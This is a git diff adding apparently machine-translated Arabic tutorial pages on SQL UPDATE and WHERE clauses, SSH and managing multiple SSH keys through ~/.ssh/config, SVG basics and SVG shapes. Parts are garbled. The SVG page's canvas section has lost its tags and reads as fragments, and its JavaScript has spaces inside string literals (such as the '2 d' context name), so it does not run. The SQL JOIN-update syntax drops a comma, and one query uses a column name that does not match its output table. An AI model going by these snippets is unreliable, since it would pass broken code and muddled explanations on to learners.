+++ b/client/src/guide/arabic/sql/sql-update-statement/index.md
@@ -0,0 +1,39 @@
+---
+title: SQL Update Statement
+localeTitle: SQL Update Statement
+---
+## SQL Update Statement
+
+لتحديث سجل في جدول ، تستخدم `UPDATE` .
+
+كن حذرا. يمكنك تحديث جميع سجلات الجدول أو عدد قليل فقط. استخدم شرط `WHERE` لتحديد السجلات التي تريد تحديثها. من الممكن تحديث عمود واحد أو أكثر في كل مرة. الصيغة هي:
+
+ `UPDATE table_name 
+ SET column1 = value1, 
+    column2 = value2, ... 
+ WHERE condition; 
+` 
+
+في ما يلي مثال على تحديث اسم السجل الذي يحمل الرقم التعريفي 4:
+
+ `UPDATE Person 
+ SET Name = “Elton John” 
+ WHERE Id = 4; 
+` 
+
+يمكنك أيضًا تحديث الأعمدة في جدول باستخدام القيم من الجداول الأخرى. استخدم جملة `JOIN` للحصول على البيانات من جداول متعددة. الصيغة هي:
+
+ `UPDATE table_name1 
+ SET table_name1.column1 = table_name2.columnA 
+    table_name1.column2 = table_name2.columnB 
+ FROM table_name1 
+ JOIN table_name2 ON table_name1.ForeignKey = table_name2.Key 
+` 
+
+في ما يلي مثال على تحديث مدير جميع السجلات:
+
+ `UPDATE Person 
+ SET Person.Manager = Department.Manager 
+ FROM Person 
+ JOIN Department ON Person.DepartmentID = Department.ID 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-where-clause/index.md b/client/src/guide/arabic/sql/sql-where-clause/index.md
new file mode 100644
index 0000000000..3979130815
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-where-clause/index.md
@@ -0,0 +1,64 @@
+---
+title: SQL Where Clause
+localeTitle: SQL حيث البند
+---
+## SQL حيث البند
+
+### `WHERE` شرط (و / أو ، `IN` ، `BETWEEN` ، و `LIKE` )
+
+يتم استخدام جملة `WHERE` لتحديد عدد الصفوف التي يتم إرجاعها.
+
+في هذه الحالة ، سيتم استخدام جميع هذه العناصر الخمسة في `WHERE` مثيرة للسخرية من `WHERE` .
+
+في ما يلي قائمة الطلاب الكاملة الحالية لمقارنة مجموعة نتائج `WHERE` :
+
+ `select studentID, FullName, sat_score, rcd_updated from student; 
+` 
+
+ `+-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+سيتم تقديم الصفوف التي ...
+
+*   `WHERE` الطلاب بين 1 و 5 (ضمنا)
+*   `OR` studentID = 8
+
+في ما يلي طلب بحث محدّث ، حيث لن يتم عرض أي سجل يحتوي على درجة SAT في هذه القائمة (1000 ، 1400):
+
+ `select  studentID, FullName, sat_score, recordUpdated 
+ from    student 
+ where   (studentID between 1 and 5 or studentID = 8) 
+        and 
+        sat_score NOT in (1000, 1400); 
+` 
+
+ `+-----------+----------------------+-----------+---------------------+ 
+ | studentID | FullName             | sat_score | rcd_updated         | 
+ +-----------+----------------------+-----------+---------------------+ 
+ |         1 | Monique Davis        |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez       |       800 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey         |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene         |      1200 | 2017-08-16 15:34:50 | 
+ |         8 | Donald D. Chamberlin |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+----------------------+-----------+---------------------+ 
+ 5 rows in set (0.00 sec) 
+` 
+
+\* كما هو الحال مع جميع هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ssh/index.md b/client/src/guide/arabic/ssh/index.md
new file mode 100644
index 0000000000..58a56847da
--- /dev/null
+++ b/client/src/guide/arabic/ssh/index.md
@@ -0,0 +1,11 @@
+---
+title: SSH
+localeTitle: SSH
+---
+## SSH
+
+Secure Shell (SSH) هو بروتوكول شبكة تشفير مخصص لنقل البيانات بأمان عبر شبكات غير آمنة.
+
+هو الأكثر استخدامًا للوصول إلى الخوادم البعيدة.
+
+كما يتم استخدام SSH في برنامج إصدار التعليمات البرمجية المصدر الموزعة مثل git.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ssh/managing-multiple-ssh-keys/index.md b/client/src/guide/arabic/ssh/managing-multiple-ssh-keys/index.md
new file mode 100644
index 0000000000..aff9f0e3da
--- /dev/null
+++ b/client/src/guide/arabic/ssh/managing-multiple-ssh-keys/index.md
@@ -0,0 +1,168 @@
+---
+title: Managing multiple SSH keys
+localeTitle: إدارة عدة مفاتيح SSH
+---
+# إدارة عدة مفاتيح SSH
+
+من الأسلم أن نقول أن معظم المطورين في مجال الويب لديهم في وقت ما مشكلة SSH. يعد SSH أحد البروتوكولات الأكثر استخدامًا لتبادل البيانات بأمان. تستخدم SSH للتوصيل بالخوادم البعيدة ، والتي تتضمن أيضًا إدارة شفرتك باستخدام git والمزامنة مع المستودعات عن بُعد.
+
+على الرغم من أنه من الممارسات الجيدة أن يكون لديك زوج مفاتيح خاص عام لكل جهاز ، فأحيانًا ما تحتاج إلى استخدام مفاتيح متعددة و / أو لديك أسماء مفاتيح غير تقليدية. قد تستخدم زوجًا رئيسيًا من مفاتيح SSH للعمل في المشروعات الداخلية لشركتك ولكنك قد تستخدم مفتاحًا مختلفًا للوصول إلى بعض خوادم عملاء الشركة. قد تكون حتى تستخدم مفتاحًا مختلفًا للوصول إلى خادمك الخاص.
+
+يمكن أن تصبح إدارة مفاتيح SSH مرهقة بمجرد أن تحتاج إلى استخدام مفتاح ثانٍ. آمل أن تكون هذه المقالة مفيدة لأي شخص لديه مشاكل مع إدارة مفتاح SSH.
+
+وأفترض أن القارئ لديه معرفة أساسية من بوابة و SSH. معظم الأمثلة في جميع أنحاء المقال سوف تستخدم بوابة. بالطبع ، كل هذا سوف ينطبق على أي اتصال SSH آخر. يقال ، هناك بعض الخدع git- محددة المدرجة.
+
+حزام في ، هنا نذهب!
+
+## الوضع الراهن
+
+أولاً ، لنرى كيف سيبدو سير عملك قبل وجود عدة مفاتيح للقلق.
+
+لديك مفتاح خاص واحد مخزن في `~/.ssh/id_rsa` مع مفتاح عام مناظرة `~/.ssh/id_rsa.pub` .
+
+دعونا نتخيل أنك تريد دفع / سحب تغييرات الكود إلى / من خادم git بعيد؛ قل GitHub ، whynot. للقيام بذلك ، يجب عليك أولاً إضافة مفتاحك العام إلى GitHub. لن أتجاوز هذه الخطوة ، يجب أن يكون من السهل معرفة كيفية القيام بذلك. لقد افترضت أيضًا أن اسمك هو Steve وأنك تعمل في مشروع شديد السرية يستخدم فطائر Raspberry Pies للحصول على حركة مرور الشبكة.
+
+لبدء عملك ، عليك استنساخ مستودع git باستخدام SSH:
+
+ `git clone git@github.com:steve/raspberry-spy.git 
+` 
+
+في هذه اللحظة ، سيكون GitHub مثل: "Yo ، هذا مستودع خاص! نحن بحاجة إلى تشفير حركة المرور باستخدام هذا المفتاح العام الذي أمتلكه هنا ومفتاحك الخاص"
+
+لقد قمت بإضافة المفتاح العام إلى ملف التعريف الخاص بك على GitHub ، ولكن SSH لديه بطريقة أو بأخرى معرفة أين يوجد المفتاح الخاص المقابل الخاص بك. نظرًا لأننا لا نملك أي فكرة عن المفتاح الخاص الذي يجب استخدامه عند استخدام SSH في `git@github.com` ، يحاول عميل SSH العثور على مفتاح في الموقع الافتراضي ، وهو `~/.ssh/id_rsa` - إنه أفضل تخمين له. إذا لم يكن هناك ملف في هذا الموقع ، فستتلقى خطأً:
+
+ `Cloning into 'raspberry-spy'... 
+ Permission denied (publickey). 
+ fatal: Could not read from remote repository. 
+ 
+ Please make sure you have the correct access rights 
+ and the repository exists. 
+` 
+
+إذا كان لديك _بعض_ المفاتيح الخاصة المخزنة في الملف `~/.ssh/id_rsa` ، `~/.ssh/id_rsa` عميل SSH هذا المفتاح الخاص لتشفير الاتصالات. إذا كان هذا المفتاح مرتبطًا بكلمة مرور (كما ينبغي أن يكون) ، فستتم مطالبتك بكلمة مرور ، مثل:
+
+ `Enter passphrase for key '/Users/steve/.ssh/id_rsa': 
+` 
+
+إذا أدخلت عبارة المرور الصحيحة وإذا كان هذا المفتاح الخاص هو بالفعل المفتاح الذي يتوافق مع المفتاح العام الذي أرفقته بملفك الشخصي ، فسيتم سداد كل شيء بشكل جيد وسيتم استنساخ المستودع بنجاح.
+
+ولكن ماذا لو قمت بتسمية المفتاح الخاص بك بشكل مختلف (على سبيل المثال. `~/.ssh/_id_rsa` )؟ لن يتمكن عميل SSH من تحديد مكان تخزين المفتاح الخاص. ستحصل على نفس `Permission denied ...` خطأ كما كان من قبل.
+
+إذا كنت تريد استخدام مفتاح خاص سميته بشكل مختلف ، فيجب عليك إضافته يدويًا:
+
+ `ssh-add ~/.ssh/_id_rsa 
+` 
+
+بعد إدخال عبارة المرور ، يمكنك التحقق مما إذا كان المفتاح قد تمت إضافته إلى `ssh-agent` (عميل SSH) عن طريق تنفيذ `ssh-add -l` . يقوم هذا الأمر بإدراج جميع المفاتيح المتوفرة حاليًا لعميل SSH.
+
+إذا حاولت استنساخ المستودع الآن ، فستكون ناجحة.
+
+## حتى الان جيدة جدا؟
+
+إذا كنت مهتمًا ، فقد تبدأ في ملاحظة بعض المشكلات المحتملة.
+
+أولا ، إذا قمت بإعادة تشغيل جهاز الكمبيوتر الخاص بك ، سيتم إعادة تشغيل `ssh-agent` إلى إضافة مفاتيحك التي لا تحمل الاسم الافتراضي باستخدام `ssh-add` جديد ، وكتابة كلمات المرور وكل تلك الأشياء الشاقة.
+
+يمكننا أتمتة إضافة مفاتيح أو بطريقة ما تحديد أي مفتاح لاستخدامه عند الوصول إلى خوادم معينة؟
+
+هل يمكننا حفظ كلمات المرور بطريقة أو بأخرى حتى لا نضطر إلى كتابتها في كل مرة؟ إذا كان هناك فقط شيء مثل _سلسلة المفاتيح_ لحفظ مفاتيح SSH المحمية بكلمة مرور.
+
+كن مطمئنا ، هناك إجابات لجميع هذه الأسئلة.
+
+## أدخل ، SSH `config`
+
+كما تبين ، فإن [ملف إعدادات SSH](https://linux.die.net/man/5/ssh_config) شيء ، الشيء الذي يمكن أن يساعدنا. إنه ملف تهيئة لكل مستخدم لاتصال SSH. إنشاء ملف جديد: `~/.ssh/config` وفتحه للتحرير.
+
+### إدارة مفاتيح SSH المسمى عليها
+
+أول شيء سنقوم بحله باستخدام ملف `config` هذا هو تجنب الاضطرار إلى إضافة مفاتيح SSH ذات اسم مخصص باستخدام `ssh-add` . بفرض افتراض أن مفتاح SSH الخاص بك هو `~/.ssh/_id_rsa` ، أضف المتابعة إلى ملف `config` :
+
+ `Host github.com 
+  HostName github.com 
+  User git 
+  IdentityFile ~/.ssh/_id_rsa 
+  IdentitiesOnly yes 
+` 
+
+الآن تأكد من أن `~/.ssh/_id_rsa` ليس في `ssh-agent` بتنفيذ `ssh-add -D` . سيؤدي هذا الأمر إلى إزالة كافة المفاتيح من جلسة عمل `ssh-agent` النشطة حاليًا. يتم إعادة ضبط الجلسة في كل مرة تقوم فيها بتسجيل الخروج أو إعادة التشغيل (أو إذا قمت بقتل عملية `ssh-agent` يدوياً). يمكننا "محاكاة" إعادة التشغيل عن طريق تنفيذ الأمر المذكور.
+
+إذا حاولت استنساخ مستودع GitHub الخاص بك الآن ، فسيكون ذلك كما لو قمنا بإضافة المفتاح يدويًا (كما فعلنا من قبل). سيُطلب منك كلمة المرور:
+
+ `git clone git@github.com:steve/raspberry-spy.git 
+ Cloning into 'raspberry-spy'... 
+ Enter passphrase for key '/Users/steve/.ssh/_id_rsa': 
+` 
+
+ستلاحظ أن المفتاح الذي نطالب بكلمة المرور الخاصة به هو نفس المفتاح الذي حددناه في ملف `config` بنا. بعد إدخال كلمة مرور مفتاح SSH الصحيحة ، سيتم استنساخ المستودع بنجاح.
+
+ملاحظة: إذا حاولت ، بعد الاستنساخ الناجح ، `git pull` ، فستتم مطالبتك بكلمة المرور مرة أخرى. سنحل ذلك لاحقا.
+
+من المهم أن `Host github.com` من `config` و `github.com` من URI `git@github.com:steve/raspberry-spy.git` المباراة. يمكنك أيضا تغيير `config` لتكون `Host mygithub` واستنساخ باستخدام URI `git@mygithub:steve/raspberry-spy.git` .
+
+هذا يفتح البوابات. عندما تقوم بإعادة هذا ، فإن ذهنك يتسابق ويفكر في كيفية انتهاء كل مشاكلك مع مفاتيح SSH. فيما يلي بعض أمثلة التكوين المفيدة:
+
+ `Host bitbucket-corporate 
+        HostName bitbucket.org 
+        User git 
+        IdentityFile ~/.ssh/id_rsa_corp 
+        IdentitiesOnly yes 
+` 
+
+الآن يمكنك استخدام `git clone git@bitbucket-corporate:company/project.git`
+
+ `Host bitbucket-personal 
+        HostName bitbucket.org 
+        User git 
+        IdentityFile ~/.ssh/id_rsa_personal 
+        IdentitiesOnly yes 
+` 
+
+الآن يمكنك استخدام `git clone git@bitbucket-personal:steve/other-pi-project.git`
+
+ `Host myserver 
+        HostName ssh.steve.com 
+        Port 1111 
+        IdentityFile ~/.ssh/id_rsa_personal 
+        IdentitiesOnly yes 
+        User steve 
+        IdentitiesOnly yes 
+` 
+
+الآن يمكنك SSH في الخادم الخاص بك باستخدام `ssh myserver` . كم ذلك رائع؟ لا تحتاج إلى إدخال المنفذ واسم المستخدم يدويًا في كل مرة تقوم فيها بتنفيذ الأمر `ssh` .
+
+#### مكافأة: في إعدادات المستودع
+
+يمكنك أيضًا تحديد المفتاح المحدد الذي يجب استخدامه لمخزون معين ، وتجاوز أي شيء في `config` SSH. يمكن تحديد أمر SSH محدد عن طريق تعيين `sshCommand` تحت `core` في `<project>/.git/config` . مثال:
+
+ `[core] 
+        sshCommand = ssh -i ~/.ssh/id_rsa_corp 
+` 
+
+هذا ممكن مع git 2.10 أو في وقت لاحق. يمكنك أيضًا استخدام هذا الأمر لتجنب تعديل الملف يدويًا:
+
+ `git config core.sshCommand 'ssh -i ~/.ssh/id_rsa_corp' 
+` 
+
+### إدارة كلمة المرور
+
+آخر جزء من اللغز هو إدارة كلمات المرور. نريد تجنب إدخال كلمة المرور في كل مرة يبدأ فيها اتصال SSH. للقيام بذلك ، يمكننا الاستفادة من برامج إدارة المفاتيح التي تأتي مع MacOS وتوزيعات Linux المختلفة.
+
+ابدأ بإضافة مفتاحك إلى keychain عبر تمرير الخيار `-K` إلى الأمر `ssh-add` :
+
+ `ssh-add -K ~/.ssh/id_rsa_whatever 
+` 
+
+يمكنك الآن رؤية مفتاح SSH في keychain. على MacOS ، يبدو الأمر كالتالي: ![Keychain Access](https://raw.githubusercontent.com/fvoska/guides/master/static/images/pages/ssh/managing-multiple-ssh-keys/keychain-access.png "الوصول إلى سلسلة المفاتيح")
+
+إذا قمت بإزالة المفاتيح من `ssh-agent` عبر `ssh-add -D` (سيحدث ذلك عند إعادة تشغيل الكمبيوتر ، كما ذكر من قبل) ومحاولة SSH-ing ، ستتم مطالبتك بكلمة المرور مرة أخرى. لماذا ا؟ لقد أضفنا للتو مفتاح سلسلة المفاتيح. إذا قمت بفحص Keychain Access مرة أخرى ، فسوف تلاحظ أن المفتاح الذي أضفته باستخدام `ssh-add -K` لا يزال موجودًا في keychain. غريب ، هاه؟
+
+اتضح أن هناك طارة واحدة أكثر من القفز. افتح ملف SSH `config` الخاص بك وقم بإضافة ما يلي:
+
+ `Host * 
+  AddKeysToAgent yes 
+  UseKeychain yes 
+` 
+
+الآن ، سوف تبحث SSH عن المفتاح في keychain وإذا وجدت أنه لن تتم مطالبتك بكلمة المرور. مفتاح سيضاف أيضا إلى `ssh-agent` . على MacOS ، سيعمل هذا على MacOS Sierra 10.12.2 أو ما بعده. في Linux ، يمكنك استخدام شيء ما مثل `gnome-keyring` وقد يعمل حتى بدون إجراء هذا التعديل الأخير على `config` SSH. أما بالنسبة لنظام التشغيل Windows - من يدري ، أليس كذلك؟
+
+آمل أن يكون أحدهم قد وجد هذا مفيدًا. الآن اذهب وتكوين ملف SSH `config` الخاص بك!
\ No newline at end of file
diff --git a/client/src/guide/arabic/svg/index.md b/client/src/guide/arabic/svg/index.md
new file mode 100644
index 0000000000..d06c0b4c95
--- /dev/null
+++ b/client/src/guide/arabic/svg/index.md
@@ -0,0 +1,150 @@
+---
+title: SVG
+localeTitle: SVG
+---
+## SVG
+
+SVG أو Scalable Vector Graphics هو معيار ويب لتعريف الرسومات المستندة إلى المتجهات في صفحات الويب. استنادًا إلى XML ، يوفر معيار SVG ترميزًا لوصف المسارات والأشكال والنص داخل إطار العرض. يمكن تضمين الترميز مباشرةً في HTML لعرضه أو حفظه في ملف `.svg` وإدراجه مثل أي صورة أخرى. يمكنك كتابة SVG باليد ، ولكن يمكن تصميم رسومات أكثر تعقيدًا في محررات الرسومات المتجهة مثل Illustrator أو InkScape وتصديرها إلى ملفات SVG أو رمز.
+
+## اس اف جي اساسيات
+
+يبدأ المطوّرون رسم SVG باستخدام العلامة `<svg>` ومساحة اسم XML كما يلي:
+
+ `<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> 
+ 
+ </svg> 
+` 
+
+يتضمن النموذج أيضًا سمة `version` . سمة `version` اختيارية ولكن يُنصح باستخدامها مع مواصفات XML.
+
+لن تعرض هذه العينة أي شيء ، وإنما تنشئ مجرد إطار عرض. يمكنك إضافة سمات `height` `width` لتعيين حجم عرض لإطار العرض ، مما يؤدي إلى إنشاء لوحة قماشية لك للعمل بها.
+
+باستخدام منفذ العرض ، يمكنك إضافة الرسومات الأساسية والنصوص وعناصر المسار.
+
+ `<svg 
+     version="1.1" 
+     width="100%" 
+     viewbox="0 0 600 300" 
+     xmlns="http://www.w3.org/2000/svg"> 
+  <rect x="10" y="10" width="100" height="100" fill="#f7b2c1" /> 
+  <circle cx="240" cy="60" r="50" fill="#c1b2f7" stroke="#b2c1f7" stroke-width="15"/> 
+  <text x="450" y="70" font-size="20" text-anchor="middle">SVG Text is browser readable!</text> 
+  <g stroke="#b2c1f7"> <!-- g is for group --> 
+    <path stroke-width="2" d="M10 170 l590 0" /> 
+    <path stroke-width="4" d="M10 190 l590 0" /> 
+    <path stroke-width="6" d="M10 210 l590 0" /> 
+  </g> 
+ </svg> 
+` 
+
+يمكنك رؤية الإخراج واللعب باستخدام الكود الموجود في [codepen هذا](https://codepen.io/SgiobairOg/pen/OxbNpW) .
+
+في علامة `svg` الافتتاحية ، نضيف سمة عرض لتعيين عرض إطار العرض إلى 100٪ من عرض الحاوية ، يمكنك استخدام النسب المئوية أو عرض البكسل. تشتمل علامة svg الافتتاحية أيضًا على سمة `viewbox` تحدد نافذة من خلالها تكون عناصر svg مرئية ، في هذه الحالة ، يمتد صندوق العرض من (0،0) إلى (600،300). في مساحة SVG ، يبدأ المحور X بصفر على اليسار ويزيد إلى اليمين. يبدأ المحور Y بصفر في الأعلى ويزيد باتجاه الأسفل.
+
+العلامة الجديدة الأولى هي العلامة `<rect />` التي تحدد مستطيلاً في منفذ العرض SVG. في هذه الحالة ، نحدد مربعًا مكونًا من 10 وحدات من الأعلى واليسار و 100 وحدة طويلة وعريضة. ل `fill` السمة يحدد لون التعبئة للشكل.
+
+بعد ذلك ، نحدد دائرة أو بيضاوية بعلامة `<circle />` . تحدد العينة دائرة متمركزة في (240،60) مع نصف قطر 50 وحدة. و `stroke` و `stroke-width` سمات مجموعة لون السكتة الدماغية وحجم الجلطة.
+
+يمكنك إضافة نص إلى الرسم باستخدام علامة `text` . يرتكز نموذج النص من منتصف النص إلى نقطة في (450 ، 70) ولديه حجم خط يبلغ 20 وحدة. الشيء الجميل حول النص في SVG هو أنه سيتم قياسه مع بقية الرسم ، ولكن لا يزال يمكن قراءته بواسطة المتصفح وبرامج شبكة الويب.
+
+عندما تريد تطبيق نفس السمات أو أنماط CSS على عناصر SVG متعددة ، يمكنك تجميعها باستخدام العلامة `<g>` . السمات المخصصة ل `<g>` العلامة، مثل `stroke` السمة في سبيل المثال، سيتم تطبيقها على جميع العناصر داخل المجموعة. في هذه الحالة ثلاثة عناصر `<path />` .
+
+يحدد عنصر `<path />` مسار متجه في منفذ العرض. يتم تعريف المسار بواسطة السمة `d` . في المثال الأول يقرأ تعريف "الانتقال إلى مطلق تنسيق (10، _170)، ورسم_ خط إلى الإحداثيات النسبية 590 في اتجاه X و 0 في الاتجاه Y.
+
+يمكن استخدام الأوامر التالية لإنشاء المسار الخاص بك:
+
+م = الانتقال إلى L = سطر ل H = خط أفقي إلى V = خط عمودي لـ ض = المسار القريب C = (بيزيك مكعب) منحنى ل S = منحنى سلس إلى س = منحنى بيزيري تربيعي إلى T = منحنى بيزيري تربيعي سلس أ = قوس
+
+### عنصر اللوحة
+
+يمكن رسم الرسومات قماش على
+
+جزء. يمكنك إعطاء سمات العرض والارتفاع الخاصة بعنصر sucهان لتحديد حجمه بالبكسل. قماش جديد فارغ ، بمعنى أنه شفاف تمامًا ويظهر ببساطة كمساحة فارغة في المستند. ال
+
+تهدف العلامة إلى دعم أنماط مختلفة من الرسم.للحصول على واجهة رسم فعلية ، نحتاج أولاً إلى إنشاء سياق ، وهو كائن تقدم أساليبه واجهة الرسم. يوجد حاليًا نمطان للرسم معتمد على نطاق واسع: "2d" للرسومات ثنائية الأبعاد و "webgl" للرسومات ثلاثية الأبعاد من خلال واجهة OpenGL.
+
+يتم إنشاء سياق من خلال أسلوب getContext على
+
+جزء.
+
+ `<p > Before canvas . </p > 
+ < canvas width ="120" height ="60" > </ canvas > 
+ <p > After canvas . </p > 
+ < script > 
+ var canvas = document . querySelector (" canvas ") ; 
+ var context = canvas . getContext ("2 d ") ; 
+ context . fillStyle = " red "; 
+ context . fillRect (10 , 10 , 100 , 50) ; 
+ </ script > 
+` 
+
+![](http://www.crwflags.com/fotw/images/s/sly@stt.gif)
+
+بعد إنشاء كائن السياق ، يرسم المثال مستطيلًا أحمر 100 وحدات البكسل عريضة و 50 بكسل عالية ، مع الزاوية العلوية اليسرى في الإحداثيات (10،10).
+
+### رسم مخطط دائري
+
+يحتوي متغير النتائج على مصفوفة من الكائنات التي تمثل ردود المسح.
+
+ `var results = [ 
+ { name : " Satisfied " , count : 1043 , color : " lightblue "} , 
+ { name : " Neutral " , count : 563 , color : " lightgreen "} , 
+ { name : " Unsatisfied " , count : 510 , color : " pink "} , 
+ { name : " No comment " , count : 175 , color : " silver "} 
+ ]; 
+` 
+
+لرسم مخطط دائري ، نرسم عددًا من الشرائح الدائرية ، تتكون كل منها من قوس وزوج من الخطوط إلى مركز هذا القوس. يمكننا حساب الزاوية المأخوذة من كل قوس بقسمة دائرة كاملة (2 π) على العدد الإجمالي للاستجابات ثم ضرب ذلك العدد (زاوية لكل استجابة) بعدد الأشخاص الذين اختاروا اختيارًا معينًا.
+
+ `< canvas width ="200" height ="200" > </ canvas > 
+ < script > 
+ var cx = document . querySelector (" canvas ") . getContext ("2 d ") ; 
+ var total = results . reduce ( function ( sum , choice ) { 
+ return sum + choice . count ; 
+ } , 0) ; 
+ 
+ // Start at the top 
+ 
+ var currentAngle = -0.5 * Math . PI ; 
+ results . forEach ( function ( result ) { 
+ var sliceAngle = ( result . count / total ) * 2 * Math . PI ; 
+ cx . beginPath () ; 
+ // center =100 ,100 , radius =100 
+ // from current angle , clockwise by slice ' s angle 
+ cx . arc (100 , 100 , 100 , 
+ currentAngle , currentAngle + sliceAngle ); 
+ currentAngle += sliceAngle ; 
+ cx . lineTo (100 , 100) ; 
+ cx . fillStyle = result . color ; 
+ cx . fill () ; 
+ }) ; 
+ </ script > 
+` 
+
+هذا يرسم المخطط التالي: ![](https://pbs.twimg.com/media/CTDvkA8UwAAdJg5.png)
+
+### دعم المتصفح
+
+يتوفر [دعم المتصفح لـ SVG](https://caniuse.com/#feat=svg) في جميع المتصفحات الحديثة. هناك بعض المشكلات المتعلقة بالقياس في IE 9 من خلال IE 11 ومع ذلك يمكن التغلب عليها باستخدام `width` `height` `viewbox` و CSS.
+
+## المحررين
+
+*   [Vectr](https://vectr.com) - أداة ويب و سطح المكتب fot إنشاء وتحرير رسومات SVG ، مجانًا
+
+## أدوات لإنشاء SVG
+
+هناك عدد قليل من الأدوات المتاحة لإنشاء SVG في شكل برنامج رسم.
+
+*   [Inkscape](https://www.inkscape.org/) - وهو أداة مفتوحة المصدر لرسم المتجهات الحديثة مع واجهة رسومية سهلة الاستخدام.
+*   [Adobe Illustrator](https://www.adobe.com/products/illustrator/) - Adobe Illustrator هو أداة تجارية لـ Vector Imagery.
+
+لمزيد من الأدوات ، ارجع إلى [قائمة W3C الخاصة بالأدوات التي تدعم SVG](https://https://www.w3.org/Graphics/SVG/WG/wiki/Implementations)
+
+## لماذا يجب عليك استخدام SVGs
+
+كتنسيق صورة متجه ، فإنه يسمح لك بتغيير حجم الصورة دون أي فقدان للجودة وخفة الوزن بشكل خاص. كتنسيق XML ، فإنه يسمح لك بالاستفادة من القوة الكاملة لجافا سكريبت وخصوصًا CSS.
+
+## مصادر
+
+*   [W3C، Scalable Vector Graphics (SVG) 1.1 (الإصدار الثاني)](https://www.w3.org/TR/SVG/)
+*   [شبكة مطوري موزيلا ، SVG](https://developer.mozilla.org/en-US/docs/Web/SVG)
\ No newline at end of file
diff --git a/client/src/guide/arabic/svg/shapes/index.md b/client/src/guide/arabic/svg/shapes/index.md
new file mode 100644
index 0000000000..4bf7b7bc6c
--- /dev/null
+++ b/client/src/guide/arabic/svg/shapes/index.md
@@ -0,0 +1,74 @@
+---
+title: SVG Shapes
+localeTitle: أشكال SVG
+---
+## أشكال SVG
+
+يمكن إنشاء أشكال متعددة باستخدام رسم SVG. يمكن استخدام رسم SVG وجمع سبعة أشكال: المسار ، المستطيل ، الدائرة ، البيضاوي ، الخط ، متعدد الخطوط ، و المضلع.
+
+### مسار
+
+عنصر `path` هو الأكثر شيوعًا ، ويتم إنشاؤه عادةً بواسطة البرامج المصممة لتصدير شفرة SVG.
+
+ `  <path d="M2 1 h1 v1 h1 v1 h-1 v1 h-1 v-1 h-1 v-1 h1 z" /> 
+` 
+
+سينشئ `path` المثال أعلاه رمزًا "زائد" (+) عند استخدامه داخل رسم SVG. لا يتم إنشاء عناصر `path` SVG يدويًا ، ولكن يتم إنشاؤها من خلال برامج التصميم التي يمكنها معالجة الرسومات المتجهة ، مثل Illustrator أو Inkscape.
+
+### مستطيل
+
+يرسم مستطيل عنصر `rect` مستطيلاً على الشاشة ثم يقبل ستة سمات.
+
+ `  <rect x="0" y="0" width="100" height="50" rx="10" ry="10" /> 
+` 
+
+`x` و `y` تعيين موضع الزاوية العلوية اليسرى من المستطيل ، `width` `height` يعين حجم المستطيل. `rx` و `ry` نصف قطر زوايا المستطيل ، على غرار الخاصية radius radius-border.
+
+### دائرة
+
+دائرة دائرة `circle` تقبل ثلاث سمات.
+
+ `  <circle cx="100" cy="100" r="50" /> 
+` 
+
+`cx` و `cy` موضع مركز الدائرة ، ويعين `r` نصف قطر الدائرة (حجم) الدائرة.
+
+### الشكل البيضاوي
+
+يشبه عنصر القطع الناقص ، `ellipse` ، عنصر `circle` باستثناء أن نصف القطر ينقسم إلى سمتين.
+
+ `  <ellipse cx="100" cy="100" rx="50" ry="20" /> 
+` 
+
+مرة أخرى ، `cx` و `cy` تعيين موضع مركز القطع الناقص ، والآن `rx` و `ry` نصف القطر الأفقي والعمودي للقطع الناقص ، على التوالي. سيعطي `rx` أكبر شكلًا بيضاويًا "شحميًا" ، وسيعطي " `ry` أكبر حجمًا شكلًا بيضاويًا. إذا كانت `rx` و `ry` متساويان ، `ry` دائرة.
+
+### خط
+
+عنصر `line` بسيط ، ويقبل أربع سمات.
+
+ `  <line x1="0" x2="100" y1="50" y2="70" /> 
+` 
+
+تقوم `x1` و `y1` بتعيين النقطة الأولى من الخط ، بينما تقوم `x2` و `y2` بتعيين النقطة الثانية من الخط.
+
+### شكل متعدد الخطوط
+
+`polyline` هي سلسلة من الخطوط المستقيمة المتصلة ، يتم تعيينها في سمة واحدة.
+
+ `  <polyline points="0 100, 50 70, 60 40, 20 0" /> 
+` 
+
+تقوم سمة `points` بتعيين قائمة بالنقاط ، حيث يتم فصل كل نقطة بفاصلة.
+
+### المضلع
+
+عنصر `polygon` هو أيضًا سلسلة من الخطوط المستقيمة المتصلة ، ولكن في هذه الحالة ، سيتم إعادة توصيل الخط الأخير تلقائيًا بالنقطة الأولى.
+
+ `  <polygon points="0 100, 50 70, 60 40, 20 0" /> 
+` 
+
+سيقوم هذا المثال برسم نفس شكل `polyline` أعلاه ، ولكنه `polyline` خطًا إضافيًا "لإغلاق" سلسلة الخطوط.
+
+## معلومات اكثر
+
+وثائق [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Basic_Shapes) : [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Basic_Shapes)
\ No newline at end of file
